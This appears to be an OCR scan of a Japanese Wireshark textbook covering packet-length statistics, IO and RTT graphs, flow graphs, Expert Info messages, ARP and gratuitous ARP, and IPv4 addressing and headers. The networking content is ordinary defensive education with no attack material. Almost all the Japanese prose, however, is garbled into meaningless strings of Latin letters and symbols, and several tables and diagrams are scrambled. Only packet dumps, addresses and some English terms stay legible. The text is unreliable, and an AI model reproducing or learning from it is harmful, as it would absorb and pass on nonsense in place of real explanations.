I L= —PFEBEIZGoogle F— L R—=TETITIALTWALEZATTH, =Y =2 HTn5
bOE, AL TWEDTY,

TCPA MY — A&, Bl L CTHADT—F & LTHZZT TR, THFAIMNEZRELZD, 7F A
T7ANVELTHRIFZ R L2352 L8 CTEx E9, F23054 % ASCIL. EBCDIC. 1634,
CEEDOBINIERT LI EDHETT, INSDF T 3 » i [Follow TCP Stream] ¥4 712 7D
TEICHYET,

TCPA M) —2ADFTRIZ, FED T T PN %I BICIEFITHZILOTL L)

56 Koy bE

H—n, 5 LUV ODDONT y MEDOH A ARSI TSR b2 T3, — BRIk
ThiuL, A —H A2y rORAKT V=294 X1E151854 b CTT o ZOMELSH A —H 4 v b, IP,
TCPDONY ¥ %7 LB\ 72146054 PEHETHOTO I NAY FBLITF =5 DRV &
ENRTEE T, SNEFFUTANLD Z T, XTy FROGA LS, XY TF X LT T4y 71200
THEM L CTAE L X 9o download-slow.pcap 7 7 4 V& B &, X =2 —75 [Statistics] — [Packet
Lengths] %#3%#4R L C. [Create Stat] K& > &2 Vv 2 35L, R5-120D% ) ¥ A 7O T HRFERE
nEd,

(ﬁ Packet Lengths E@g\
Topic / Item Count Rate Percent
= Packet Lengths 10728 0.061350
0-19 0 0.000000 0.00%
20-39 0 0.000000 0.00%
40-79 3587 0.020513 33.44%
80-159 1] 0.000000 0.00%
160-319 0 0.000000 0.00%
320-639 1 0.000006 0.01%
640-1279 13 0.000074 0.12%
2560-5119 0 0.000000 0.00%
5120- 0 0.000000 0.00%
" o

512 F+TFvT7AIDNTT v 7OHBIZZILD [Packet Lengths] 447074

S
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2 TIEHA A98128084 b5 2559284 b3y bOFERH R R L TW ARG E N, T4 ML T
WES, FAXOKRE LNy MIEF T —2iEk%, Ny ME7ahavo sy —7 v Al
ERLTVET, TITE KELXT Y FOREDDLY)KRELL>TVET (66.43%) D7D
T ANOHFONRT Y bl Th, F¥TF¥ 77 A V1D EOTF =Y EEFEFEN TS
b ET, OFYIIZHTTP Y Y v 0 — R FTP 7 v 70— F. %5 WIEZDMO K Z -
TT— kD TbN B MELEL V) LR ET,

B D3y bOK: (33.44%) 13 A ZDT4054 "B 57954 M T o ZOHA 2037 v M,
WHET =725 ERWTCPHIE Sy bCTT, — MR TOrIVANY FOHF A X% EZTAHAEL &
Yo A=V Ay bAYFIZ14N, b (FF X454 FDCRC). IPAY FIIIAT2034 +, ELTF—
FRF T arDiRWTCPAY ¥3 2054 b TT, D F YELHER 2 TCPHI#H /S5 » b (SYN, ACK.
RST. FIN7Z &) 135454 MREETHY, COMPICINE LI LB E T, bEAAIPRTCP 47
Ya v EhTwiUS A X2 9,

NRro bRERRD L, T TFYOEMRER ISP ET, T ZDOKREL v (07 S A
HIUE, T PEEENRTVEEZEZTIVWTLE) . 7287 hOREDVNZ VY AL X b,
T—=FEENHEVITON T, Fa bVl THEIh WA EEZONET, I
MFELBAITIEDH Y FEAD, EHITHDPVGITEZITI RN, 29 L2RFHEE VL TCTBLEH LY
ERE LA BHYET,

5.7 JSTRR

757 EHROWATH Y, 7= OWE & R 5 il 5k 02 5T, Wireshark Tl
F 7T L7 — 5 OWIREIT 577 7 HIED Db ) EF 45, 2OV EDH10 75 7 Kk
<

57.1 10957%83

Wireshark Clid. [I0 Graphs] ¥4 70/ CREZEENTVBELTFT—FDANV—T v "4 75 74bd
BIUNTEET, SITET—FDANV—T v MIH DA, 7R/ NHEREA R L7220, £70 b
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CDFT L a—FDF—FHEHEL— MIOAS 1007557 v b /BT, ZEDS L, 184720 D
27y MEDIEIZ0IC o TWAHEEEZHNET, 200DF Y 0 —F DT 572 UNTHhLE, &
DOREE ST~ AR TT (K5-15),
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[5-15 #EDI0T 7 %LENDEEVDEANICIKILD

FATOTDTHIZGLODEREF TV a VDPFIELE T IKSDETDTANVIZ/ERTE (6
BETHTHHELETH, FRPF Yy 7Fry CHH UL T ), 74 V50t caEd,
72 212, ARP %7k, DHCPZ W THERT D74 VY Z/E LT, REFOMNMT 7 7 THFERTH
X 220 7a N INVD AN =Ty MRS 2 EDHETY .

572 S9VRMNIYIFILLIST

Wiresharki2iZ, ¥ 7F X 774 NVDT TV RMN) v T4 2 EFRT 577 7HiEbfiiboTw
T3, IV YT RAL (RTT) L&, X7y NOZEDPHERINL T TIPS B EZHRLE T,
ZHU, Sy PRI & TOBREDEBITR- TL B DIIhh o 2B T o RTT O,
HEORIEAFEAE LKA Y IRR MV A Y 7 % W0 T, BEDH LR T 57012k {fThh
7,

ZOWREE o TAE L X 9o download-fast.pcap 7 7 4 V& BT, TCP Y7 v FOWTIr%k
HATH S, X =a2—7»5 [Statistics] = [TCP Stream Graph] — [Round Trip Time Graph] % &
RezL, 516X ) LRTTY 7 7HFRENTT,

7T ITDENEND DKy PORTT2ELTWET, T74 VTRV —F Y AF 7125
TY = FENZMERFRENE T, I T7HNDREZ ) v 755 &, [Packet List] XA D437y
MIEEBEITE T,

RTTZ 7% WAE, H#EF 70— FORTTEIZIZIZ0.05F LT T, RREBEVWEETDH 0.10%
PH02BRETHL I LAbrNET, FRHMHEZEZTWAESLDITNCHEEDD, RTTHD
EEALRHEED ZVOT, 774 0VDF Y a—FE LTRMERZVRTTEALZELTLE ).
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[l TCP Graph 3: download-fast.pcap 72.4.123.180:80 -> 172.16.16.128:321 w = | B |
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Sequence Mumber[B]

[5-16 ZO&7>O—FORTTYZ7IIEERELTEY. EOARIEHTPLLRShEWN

5.7.3 J0O0-5952 http_google.pcap

AT Y a v EBAL L THBBICE) F— 2o e mTdoe LT, 7u—2r5 71k
WAERTT, 70—7F 713, IRWISEAINOIA 7 2 a Y 2IRTHT A2 —LBoTHEY,
BHERINCI 7 749 7 2 LRTEL X PT 74y 7RIS TVET,

Ta—25 7 %#fEd A 121%, http_google.pcap 7 7 £ V% B &, [Statistics] — [Flow Graph] %
BIRLF T, WHHRONry e TH—DF L TIZOWTOF T a v ERINT /N E %5470
IRFRENETH, SOH VTV TRETFT IV IOFFETHERVOT, [OKI Ry v%2 7Yy L
T7u—r7 7L 7 (R5-17),
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i http_google.pcap -

Graph Analysis

P B :@g

Time

0.000
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0.102
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{16081

il
[JCP segment of a r
1505 B

1721616128

7412595104

1505 > 80 [SYN] 3;;!

qq > 1606 [SYN ACK

1505 > 80 [ACK] 3;;!
ag > 1606 [ACK] Seg
I JCP segment of a r
| JCP segment of r

1505 > 80 [ACK] Sgg

80

= GET/ H'ITPg'll.'
1206 30

“CP segment ofar
1506 ]

1080

1608 I
1606 > 80 [ACK] Sgq.
1608) el

2]

HTFP{ .1 200 OK ;_t
1608) B0

Comment

TCP: 1606 > BD [SYN] Seq=2082651767 Win=8152 Len=0 M
TCP- B0 > 1606 [SYN, ACK] 5eq=2775577373 Ack=20826517¢)
TCP- 1606 > BD [ACK] Seq=2082651768 Ack=27T5577374 Wil
HTTP: GET / HTTR/L1

TCP- B0 > 1606 [ACK] Seq=2775577374 Ack=2082692355 Wil
TCP- [TCP segment of 2 reassembled PDU]

TCP: [TCP segment of a reassembled PDU]

TCP: 1606 > BD [ACK] Seq=20826323595 Ack=277S5BOLEE Wi
TCP: [TCP segment of a reassembled PDU]

TCP: [TCP segment of 2 reassembled PDU]

TCP- 1606 > B0 [ACK] Seq=2082632335 Ack=27T5581654 Wi
HTTP: HTTP/LL 200 OK. {tesct/htmi}

I

m

Close
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X5-17 TCP7O—-457TCaAx7a s HELTES

5.8 IFR/\—ME#k

Wireshark ® %70 b 2 VHBRE Tl 2070 sanos8r y M

download-slow.pcap

TEDIREE & 73 o 72 BRI

-
HEBTHDITHCOND [ZF A= MER] ARET LI ENTEET, KRBIILITIZ4D1H

FHZENTEET,

e Chat {5 DA

TN THREL & 9. download-slow.pcap 7 7 1 IV %& B X,

Note EWDBED I THDLEEZONDLENZ/r v b
Warning il OMWEDO—ETH D EIFEZ SNEVEE R/ v b
Error 737 v b LAIZENZ T LT Co g — 28 EL2d o

Composite] Z#IRLT', [ExpertInfos] ¥4 77 %3k L $7 (K5-18),

[Analyze]

— [Expert Info

T EEEE  N—3 3> 1.8.0 Tld [Expert Info] 2 #IRL F3,

S
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[l Wireshark: 24 Expert Infos [ECSEES|E=SREER )
Notes: 10 (18) |Chats: 3 (3) | Details: 24

Group 4 Protocol 4 Summary {4 Count 4 |
Sequence TCP Duplicate ACK (£1) 2
B Sequence | Duplicate ACK (#2) 2
Packet: 1625 1
Packet: 3280 1
Sequence TCP Duplicate ACK (£3) 2
Sequence TCP Duplicate ACK (#4) 2
Sequence TCP Duplicate ACK (#5) 2
Sequence TCP Duplicate ACK (26) 2
Sequence TCP Duplicate ACK (£7) 2
Sequence TCP Duplicate ACK (#8) 2
Sequence TCP Duplicate ACK (#9) 1
Sequence TCP Retransmission (suspected) 1

s

X5-18 [Expert Infos] 441 70713 7O IVEREBICEZ T X X/N— b XT LD SDERERRT S

FA TG EENZIREZT LY 7HH D, Errorid¥ 1, Warning 33, Note318, Chat
B3HLIENDINET, ¥ TIREND Yy AONOBFRIER L2V A vy E— VO, »va
NOMFEIEETLHDLEOA vt — VO MERLTVET,

COFXYTFXT7ANDRA L=V TRTTCPEE L 725 TV B DL, BT TId, TCPLL
NOT B NN F 28— MER S AT AHEA SN TN LD 57720 TT, HEER L TIETCPH
HCTUBEOZF A= MEWA Y L= IDHFIE L, N T TN a—T4 Y 7OBIZIEFICAHTT,
INHEDAYE—Vid, LTFIORTEMERZ LB, e oy M7 5 7% T Tl ET,

Chat*xv&—o
Window Update
TCPEZEV 4 Y R DOH A ADPERSINA- L 2R EHITHMT H72012, ZEHIC
LoTHEEFEEINS
Note X v &—¥
TCP Retransmission
2Ny MERORERE LTHET 5. ACKATEH L Txfg 3Nz, 7201387 v b
EIAR—IA LTI e o558 T 5
Duplicate ACK
RAMSKIHIET 52— VAT T2 Z T WS ko724, RBICZE LT -4
DEBACKZ AT S

| S
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Zero Window Probe
aw gy Fyry "R RESNz2H L2, TCPZEY 4 Y FyOREZEMT L0
b s (95 THI)

Keep Alive ACK
F—=TT T4 Ty MIBEDRE SNz

Zero Window Probe ACK
Zero Window Probe 737 v MIIG& 75415 S 7z

Window is Full
ZEHDOTCPZET 4 Y FIP VS IEVORETH L2 LE, BETLOFAMIASE
LEIZHEDILS

Warning X v t£—3

Previous Segment Lost
Ny MEREERT B, TS AN —AICBTHIFET 2 = VAT GV AF Y
TINTEITFAET D

ACKed Lost Packet
ACK 37 v M X o CREREMER I NI T O v M FE L T WA ICRET

Keep Alive
AR TarDF—=TTIA TNy MRS

Zero Window
TCPZAZ7 4 v Ry DI A Ah—@HIZE L. Zero Window il A% 5T, HEH
T — Y REEEIET S XD BWRSNAGEITHETS

Out-of-Order
V=V ATFRICEN ZELEANT Y YO Y= Y ADENS B S

Fast Retransmission
WHACK DS 20 I ) BUIPNIFEE L HkE

Error Xy t—%
R L

6ETTCPZ¥H L, 9B TAY NI =V BIED NG TN 2a—T 4 Y ZIZOWTHERIE, Ihbo
Ay —TOERPIAMEIC LB TL L),

RETHI L7200, WEITEZ O WIRRTLAEDN WIS IZHZ22b L
FHAD, G EICFIHT A2 EIChbEBvwET, SCTHHLAZYAf Turet 7y a /IE
NTBVTLZE WV, DBEOBETMED ML LIchhET,

S |
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65
HMoTHEWLWMUETOMIIL

BHEZET AT TNVEN T TN 2a—T 4 7 5hEE&, HJFREELTCLAWT Y r—vay
EMRTLLEE HLIVERERIN T T4 v 72 RAT 270108 F2) T4 LOFBBICEIT5 L
EnE, FTRIEFERONT 749 7 OBFENRAT]R T, TIHhLOBETIE, IEFRHOLR Y M7 —
T 749700V y PRV TR TWEE T, BEFHDTCP, UDP, IP &\ o 2B AT -
TBE&7w7uban, F72HTTP. DHCP, DNSLZ LD L{ffibhr 77V r—arvErsuban
EFRTVWET L), ZTNFho7abalvotr vay TREETLF Yy 7F v 7 74 VERIKD &
DEFBALTVBEDT, F7a—FLTHEHBEVLS>TALIENTE T, KETIIIFIZ, OSIZ
WETNVOEIEPSHEARGIHLT LT 7 ba Vi ERE S TTwET,

INHDEE, MEWRAFIIBVW T L EELETT, ZZexiARIETOER, 23— 7
LYy FRLICHBHOY E2EL L) RDBDOTT, H7EMIVOEREIZOVT, §TICEHALH
FRLTWDEATH, RIKBRE S L HAEL T, ThEho vy y bofigz ELTBEE L),

6.1 ARP (Address Resolution Protocol)

Ay NT—=27@BETIE, WET7FLVABIUOYWHT FLAOWEfEbNLE T, w7 L A2 H
WAHZET, Ay M7 =B UICIHEEER ST AW CoMENTiICZY 4, WETF
L2, B—DRy b =22 T AV ETAAL v F 2@ U CTHEED LD - TV DL 0 @3 12
bILET, 20TV OYA, BEZITHIICIE. ZOMBFOT L ADHEE L CEHfET 2 LEXHD £
9o

AT =2 LOBHLEEGEBEBELIVWELELE). TORBEIT =L LNEREAL, 77
ANEEGELIVWT— 7 A7 —YarPdb LT A, BEZBEODIIELTVWLET I r—vay
E, TV E—PDOKFAMDIPT7 RL A% (7T THHTAHDNSICL-TC) kL THBY, EEL
Wy FOEIEALETIE MR T 5 DICLELREHRE TXTFH>TwasnE LET, 22T
SICLE R TERE, SLEFAIOMACT FLA (T FLR) 25, H2B (F—%) 7)) »
F—F 72T T,

S
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MACT FLADBE DI, Ay 8T —27 EOBREZ DR WTW DAL v FHY, TOKR— MIHHE
LTWbHIRTOEEOMACT KL 2% #1355 CAM (Content Addressable Memory) 75— 7Jb
EfioTVnE720TT, A4 vFid, EOMACT FLAICHT LTI 74 v 7 52EToHE, 20
T=INeflioTEDKR-MINT T4y 7 2R ETH02HW L3 588D MACT FLAHA]
¥ty RETORREL. FTTHHOF Yy V2 X7 FLAB WA ZRARE T, Fvv ¥ 2 IO E
LaWwEEd, dy M7 =21 LTE 645 BE217) ZETHIT 5 2 ELEITRD T T,

TCP/IP*v b —2 (IPv4) IZBWVWTC, IPTFLARNSMACT FLAZRDLDIfibNS T
b2V % ARP (Address Resolution Protocol) & I-0N, ZAULRFC 826 TEFH SN TV F 3, ARPIE.
ARPY 7 ZA ML ARP LV AR Y ZAD 2D/ v ML FHA (K6-1),

ARPUY TR

i BETTIP - 192.168.0.101

EIETTMAC : £2:f2:F2:£2:f2:F2
FB5EIP : 192.168.0.1
%85 MAC : 00:00:00:00:00:00

ARPL ARV

Q kR IP: 1921680 % )

EIETTMAC : 02:f2:02:f2:02:f2
B4 IP:192.168.0.101
FB5t MAC : f2:f2:f2:f2:f2:£2

\

X6-1 ARPALIE

W8
" RFC (Request for Comments) & (&, 70 M JJLDIBEMEEREICDVTEEL TV
. PRHERFIXYHDIETT. RFCOWeb A hhitp://www.rfc-editor.org/ T,
' RFCERRIDTIENTEET,

HERITLORAIN, [HEAZAILBEIE, BOIPT FLAZXX.XX.XX.XX T, MAC7 FL A3 XX:
XX:XXXX:XX:XXTFo IP7 FLABXXXXXXXXDNIZEETHH00H5DTTH, MACT
FLARDLIDEEA, SOIPTFLAZFSTWE S, MACT FLAZBERE LT EEAR? ]
EWIARPY 7 T AL ko/e LELE D,

CONRT Yy MIA Y IT =727 A EOTRTOBBRICEONTTA, COIPT FL AL Fi
BORERHI Ny PR HICERELE T, COIPT FLRAZFEEOKERZUTIDR, [REITLESA. bRl

S
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6.1 ARP (Address Resolution Protocol) |

WLTWBIPT FLAXXXXXXXX%Fi>TWBDIEFATT, BROMACT FL A XXXX:XX:

XX:XXXXTT ] EVWIEZDARPLARY A% £,

COMBNRETTHE, RETIIZOBBEOMACBLIUIP 7 FLADIERTF vy Y22 HEHF L.,

Ty RETHIRTE HIRBIRD £

W 8

toa)

OB EERIATON T B L ZAZ BT, E)REET 202 B 571255 L T

INY RJOYT KT larp -al EAFTDE. WindowsDARPT—JILZSRT D
CEDTEFRT,

. EBERLENS. FTIXARP/ ST Y A FIZOWTHHL 9,

6.1.1 ARPAvYYS

ARPAY #2id, B6-2I1TR LTV B X BT — VB EThTVE T,

ARP (77 RLZ#ERZOR2)L)
sz'ﬁ: 0-7 8-15

0 N=ROIT724F

16 Jotanaar

32 N=FDI77RLRE ZObJVTRLAR
48 FRL—v3v

64 RETT/N\—RIZT7T7RLR (FEBEDI6E Y 1)
80 KIETT/N\—RIZ77FLR (E2016E Y 1)
96 KETT/N\— R 77 FL R (E3D16E Y 1)
112 REETTOM VT RLR GEBEDI6E Y 1)
128 REET/ORIVTRLR (E22016E v 1)
144 SESEN\—RDTT77 FL R (SEEEDI6E Y I)
160 SESEN—R LT 7 KL (82016 1)
176 ZBHR/N—FITT7T7RLR (E3D16EY )
192 SEETORLT RLR (RIBD16E W M)
208 57O IVTRLR (FB2016E Y 1)

[6-2 ARP/Yy hDIEE
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9% |6= MoTHILLTFMETDNIL

N=RIz7847

BRI AT T TwDME, A —HAy b (F471) T,
JOraNEAS

ARPY) 7 A MAMlibI s Ffigo7akan,
N=KI177RLAE

N=F7x27T7FLVAORE (A7 79/ L o 4 =%y FOYHEIZ6,
JORINWNTRLRAE

BEIN/ATa Ay 4 TOGMT FLAORS (X779 /5 M)
FXRL—=2a3>r

ARP/X7 v FORE, ) 7 ZAMOBAIEL VARV ADEEIE 2
EETXTN-FJ7IT77RL X

ERBILON—=F7 2T T LA,
EETXTTARINLTRL R

RETLO LEOTa a7 LA,
SHEN—RI7T7RLZX

WID/N—=F7 277 FLA (ARP) 7 T A MDOBE1Z0),
EEIORNIILTRL R

o EMEoTakany KL A,

arp_resolution.pcap 7 7 A V& &, TOWUHERTAF L L), HAxD v 2D EDTOR
TWEIEd,

6.1.2 I\srvy M :ARPUSIR B

WADr y MEARPY) 7 T A T (B6-3), [Packet Details] <4 ¥ TA —HF v bAv 5%
TR, SO Y bDFEPICT O —FF Y AT v N THHZ EZHERTELT, 58EDT L
AR R @TT o SHIEA —HF v bOTO—FEX ART FLALDT, TD5EEICHEE S
N7228% v ME BHEOA Y b T =27 XV b RICH B TR TOMBERICTa—FEr A ST T,
A =%y b FIZHBEETLT FLAIMACT FL AL LTH#MENTTO,

R o /T, ZHUIELICIPEflioTnd 4 =2y b Ay 8T —27 FOARPY) 7 ZAMTH S
Db ET, REITLDIPT FL A (192.168.0.114) £ MAC 7 KL Z (00:16:ce:6e:8b:24) @7,
FHRODOIPT KL A (192.168.0.1) @L L HIZFRENTVET, ZBEOMACT FLA (AFL L) &
L CTWAIER) AW 20T, 51560 MAC 7 F L 213 00:00:00:00:00:00 & 22> T ETO,

S




6.1 ARP (Address Resolution Protocol) | 97

.
@ 1 0.000000 00:16:ce6e:8b:24 fRFEFA:F: ARP Who has 102.168.0.17 Tell 102.168.0.114 BTN EES RN =

o Frame 1 (42 byt
= Ethernet II, Sr - e:6e:8b:24 (00:16:ce:6e:8b:24), pDst: Ff:ff:ff:Fff:ff:ff (Ff:FF:FfF:FF:FF:FF)
Destination: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff)o
source: 00:16:ce:6e:8b:24 (00:16::&:6&:%:24)9
Type: ARP (Ox08086)
= Address Resolution Protocol (request)
Hardware type: Ethernet (0x0001)
protocol type: IP (0Ox0800)
Hardware size: 6
protocol size: 4
opcode: request (0x0001)
[Is gratuitous: False]
esender MAC address: 00:16:ce:6e:8b:24 (00:16:ce:6e:8b:24)
sender IP address: 192.168.0.114 (192.168.0.114)
Target MAC address: 00:00:00:00:00:00 (DD:DD:DD:DO:DD:DD)Q
Target IP address: 192.168.0.1 (192.168.0.1) o

4 [T v

(6-3 ARPUZIZRNNTy b

6.1.3 I\srvy b2: ARPLARAKRIR
WD) 7 AT HL AR A (R6-4) Ti& 4 —HFF v bAw &I, D37 v hDOKELE
JEMAC 7 FL AT FLAE LT EShTwEd,

[l 2 0.004081 00:13:46:0b:22:ba 00:1ice:Ge:8b:24 ARP 192.168.0.1 is at 00:13:46:00:22:ba [ A R A=

® Frame 2 (46 bytes on wire, 46 bytes captured)
= Ethernet II, Src: 00:13:46:0b:22:ba (00:13:46:0b:22:ba), Dst: 00:16:ce:6e:8b:24 (00:16:ce:6e:8b:24)
Destination: 00:16:ce:6e:8b:24 (00:16:ce:6e:8b:24)
Source: 00:13:46:0b:22:ba (00:13:46:0b:22:ba)
Type: ARP (0x0806)
Trailer: COAB0072
= Address Resolution Protocol (reply)
Hardware type: Ethernet (0x0001)
protocol type: IP (0x0800)
Hardware size: 6
Protocol size: 4
opcode: reply (0x0002) @
[1s gratuitous: False]
sender MAC address: 00:13:46:0b:22:ba (00:13:46:0b:22:ba) 9
Sender IP address: 192.168.0.1 (192.168.0.1)
eTargEt MAC address: 00:16:ce:6e:8b:24 (00:16:ce:6e:8h:24)
Target IP address: 192.168.0.114 (192.168.0.114)

6-4 ARPL AR ZINTy bk

CHDARPL AR Y ZADANY FIZARPY 7 T A MDAy ¥ TP THET A, WLODDHENDDH
NEI,

o Xy hDFRL—3ra—F (opcode) H30x0002% %)@, )7 TALTIE R LVARY R
THbHrILEZRLTVET,

o TRLAEMMEANEDL->TEY, REILMACT KL AELIPT FLADS, ZEOMACT KL
ZEIPTRLAIZR>TWETO,

o MENBEEAZILLELT, IP7 FL2192.168.0.1D7% 2 FOMAC 7 FL 2 (00:13:46:0b:22:
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ba) @M ENTHET,

6.1.4 gratuitous ARP
[ 2A3 [ T-12 (gratuitously) | 77N 5B &) DIF, THEM R ERAVEFHFOZ ENIL BV T,
L 2> L7255 gratuitous ARP (-7 ARP) 3fi B2 DT,
IP7RFLARER SNBSS AEDRILHVE T, IPTFLADREbLE, Fyvv Iy llidEEhizIP
TRVAEMACT FLALEDR v E U ZEMARIELE 2D T, SHICXZBEDON T T V&7
®, gratuitous ARP/S7 v FASEE S, ZUT WS EHOF vy Y22 H Lnv vy ¥V 7 EHR Tl

R W L 5 (R6-5).
%@

i #E5TIP: 192.168.0.101

FEAETTMAC : £2:F2:2:f2:F2:F2
585%IP 1 192.168.0.101

%85 MAC : 00:00:00:00:00:00 @

X6-5 gratuitous ARP DALIE

gratuitous ARP /¥4 v MV SN BII VL 22H N . ~FLLASLNLZDIE IPTFL A
DEETYT, Fv7F v 774 Varp_gratuitous.pcap % Bl . ERZIZ R TATLZ &, gratuitous
ARPZBEIK T 587 v NI 1D DT, 774 MCEHEENTWAE 7 v 1 12T (K6-6),

[l 1 0.000000 00:03:47:67:62:55 FRA-F:AEFE ARP Gratuitous ARP for 24.6.125.19 (Request) el 5 e

= Frame 1 (60 bytes on wire, 60 bytes captured)

B Ethernet II, Src: 00:03:47:b7:f2:f5 (00:03:47:b7:T2:T5), Dst: ff:ff:ff:ff:fF:FF (Ff:FF:Ff:FF:FF:FF)
Destination: ff:ff:ff:ff:ff:ff (Ff:Ff:FF:FF:FF:7F) o
Source: 00:03:47:b7:f2:f5 (00:03:47:b7:f2:5)

Type: ARP (0x0806)
Trailer: 000000000000000000000000000000000000
= address Resolution Protocol (request/gratuitous ARP)
Hardware type: ethernet (0x0001)
Protocol type: IP (0x0800)
Hardware size: 6

i pProtocol size: 4

opcode: request (0x0001)

[1s gratuitous: True]

sender MAC address: 00:03:47:b7:f2:f5 (00:03:47:b7:f2:T5)
esender IP address: 24.6.125.19 (24.6.125.19)

Target MAC address: 00:00:00:00:00:00 (00:00:00:00:00:00)
eTarget IP address: 24.6.125.19 (24.6.125.19)

6-6 gratuitous ARP/X4 vy b

S
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A =2y M FEHFRLL, 2Oy MITE—=FFr A E LTERBINTVE72D, TX
TOBBNZETLHZEDDIY TT@, gratuitous ARPONY FIZARPY) 7 T A MDAy F LT
WETH, RETLIPT FLA@LGELIPT FL AONSH—Tdh % mA ® ) 3, gratuitous ARP
Ny N Z T o 7R IE. ARPT— 7V ZEFHILWIPT7 FLAEMACT FLAE DR v ¥V 7
WCTHEHLE T, TOARP/YT v MEI—FHWIZEDI DT EN LSO TTA, ZITHo72MNL, fERe
LTAPRF v v Y2z B ¥ 5728, [gratuitous (FET) | £ WVH 2 EIZBBEDTT,

gratuitous ARP/37 v " AMEDNLYNIIINICE H D F T, BEBROIPT FLADOEHIZL > THE
BB DA, —E D OSIZHEEYIF I gratuitous ARPZ A L E 3. 2% EN T 714y 70—
FNT ¥ AD 72912 gratuitous ARP /X7 v MBMEDNLEGEDR DY FT.

6.2 IP (Internet Protocol)

OSIZWMETNICBIFZE3IBTE A VOFREENL. Ay P77 THEEZITHIZLETT, 2
CEFTHTELLHIC, MACT RLARE2FHOM—2 v by —2 L TOBBICHHINET, Bz
X BET, EIFEIAY PT = BOBBEUMEZHY L TET, COBEBEIREICTS7TOba
WEWLOPHNFTH, bobk b —HKWRDIZIP (Internet Protocol) TL X9, ZZTIERFC 791
TEHFRENZIPVAZ R TVWE TS,

IPVAD B E % BRTHICIE, AV T =2 DN 740 7 OHRNERFETLLEDIHY T,
[Pv4 LB ERHZISTEY, Y FRAL VOB »2b LT, TOHOTF— & @fEx2HY4 LT
wEJ,

NTFRRFAAL 9 FTIRTOEED O > TWDHLHHMA R v b7 —2 %LAN (Local Area
Network) & IFUNE 3, 20D LAN ZHHt T 2B ERIN — Y TOLEET, HML Y b7 — 213,
RPN T LM FEDONV—F 2 RHTL2MFLOLAN THEER SN TWLIENH T, 1
YE—F v AL, BEHICKALAN E V— 5 DESRES 2 ET,

6.2.1 IP7KLA

IP7RLRIZ32EY FOT FLAT, fv M7 — 7 ICHR SN BERICHIV RS N2 3ES T,
RALTFTHOESO1LL 0D HWE L2 LT e R 5DIERHOHELOT, IPT FLAERNY MR
10EHRE (dotted-quad notation) Trtik SN F T,

Fo PXYID 108 LKL TIE IPTRLAZHRT21L 00T 2455 L, 1085~ & fixil
LT, ABCDOEXRTONH255F TOHTEM->THILET (R6-7), 11000000 10101000
00000000 00000001 & V) IPT FL AV HDHELET, ZOMITFTHZONEEA, LALFY b
XYY 10 #EERFL 2 212, 192.168.0.1 L KildT 52 & TEE I,

IP7 FLA%ZA5GETEDIEHHALDYFE T IPT FL R 22005 2y MT—I9FRLRE
RARTRLADSED FoTWET, &y 8T =27 FL RIS LT b LAN 2 #0045
BDOT, RAMT FLARKEEHRZOLDOEHNT 572005 DTT, IPTRLADEDERGH A v b

S
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100 | 62 foTHELVTFETO NI

T—=2T7 RLAT, EOFFHHRALT FLAERLPEHIZFALE W) DI TRHYTEA, Thz
ROZO, 2y MT=IIRT7 (Y bYRY) LIFEND T FLAHRT, YTV bYR7 LIS
NbZLdHNET,

11000000 10101000 00000000 00000001
| \ | |
192 168 0 1

192.168.0.1

H6-7 Ky hXEI)10EHRECICEBIPVAT RLARE

AV MRAZIEIPT RLADEDEGH Ay VT =2 T KLV AT, EOMGDBARANT FL AL %
WAL ET. Ay MRAZOBMEDI2E Y PRETHD, 11Ty PENZZEY M, Ay NT—=FZTF
VADLDIHERENZIP T FL ARG ERLET, oWy MI0ICEy P&, FAMTFL A
RLET,

72k Z24E, 233000001010 00001010 00000001 00010110 & 7 5 IP 7 F L 2 10.10.1.22 5% - 7=
ELFET. AVMRAZIZED IPTRLAZ2DIITAZENTEE T, A v P A7 HT11111111
11111111 00000000 0000000072 & L EF o ZOHf. 7 KL ADHE (10.10 / 00001010 00001010)
Ay T =27 RFLAERD, 2 (11.22 / 00000001 00010110) 5% v 8T —2 EI2d M 4 D&
AMI%DET (RK6-8),

10.10.1.22 — 00001010 00001010 00000001 00010110 *vbT—=Y
— 10.10.1.22

255.255.00 — 11111111 11111111 00000000 00000000

“ A J RAR
Xy hT—2 RAR

K6-8 IP7RLADE Y hOEBIER Y NRZXTTRES

Ay bRA7 SRy MUY 10#EBEL TR TEE T, 72L& 2134 v P A2 11111111 11111111
00000000 00000000 1&. 255.255.0.0 & KAl TX F 9,

—fIZIPT FL A, v b~ X 271%. CIDR (Classless Inter-Domain Routing) & Ttk S F
Fo ZOENATIE, IPTFLADOEKRLIKE, /L7 EIPTFLADAY T — 755 aKTEY ML
WHEET, 2L 2 EIP7 FL 210.10.1.22, % v b~ A~ 255.255.0.0 % CIDRZFKF CTreak 35 &,
10.10.1.22/16 £ =D 9

S
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6.2.2 IPvAnvy ¥

BEILEWILEDIPT FL AIZXIPvA 7 v Ay FOEE RIS TS, 737 v MNOIPTE#
BINETTEDHY A IPAY FIE, FBICR7ZARP ST v bDOA Y 5 L D L DR ) BT,
IPHEYNICHRRET 2 & ) L OREP KV AT R TV LD TY,

IPvA~Ny FIZIELUTO7 4=V EXEHY 3 (K16-9),

N—=3ar
EHENRTWBIPON—V 3.
NVER
IPAYFDOEZ,
Y$—EZXF147 (TOS)
574 ZIBERNAN 2D 5720012V = BT AR T7 5 7 & — A 7 5 7,
Nry bR
NTy MIEENBLIPAY T ETFT—IDREE,
HAF
230y b LML Lz —3E 0 84 v MEEZ RIS 5 72 DI H W S5 35+
759
237y MHBRALE NIy b O— B EON L) 2 EFEIT 20 EbE T,
TSTAMETEY B
Ny MHBRAL I N TV B YA, SOT 4= VRO ZMi-> T3 v M2 IELWIEE Tl
NTHILELET,
7R (TTL)
Ny b [Fifr] BEFRT Al V—F 2 BB T B0 F Y TS LIRS h
9,
Jakaj
Nry vDYATaEBINTHDIfEDbIE T,
NYEFTyIH L
[PAY PR L TR W GRS 2 DICHW b T T — Ml ik,
EETIPTRLZ
28y N RE LIZBROIP T FL 2,
EEIPZRL R
Ny NGO IP T KL A,
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*7oa>
BHMOIPF T arDlDIZTFRHENT VWS, V=AN—T 4 Y TRIAL LAYV TDFT
vaviEmastEhEd,

TF—4
IPLEBDICHEBENLEBOT—5,

IP(>2—2yb7OkaIb)
;ét{ 0-3 4-7 8-15 16-18 19-31
0 N=V3v | \NvEE TOS Ny kg
32 T 757 TSTAV N T2k
64 TTL A=l =)lY ANYAEFT YIS
96 EETTIPT KL R
128 BHIPT7RLRA
160 FTvav
160 1z 0
19214 F 7%

[6-9 IPv4/4y bDEE

6.2.3 E=FR (TTL)

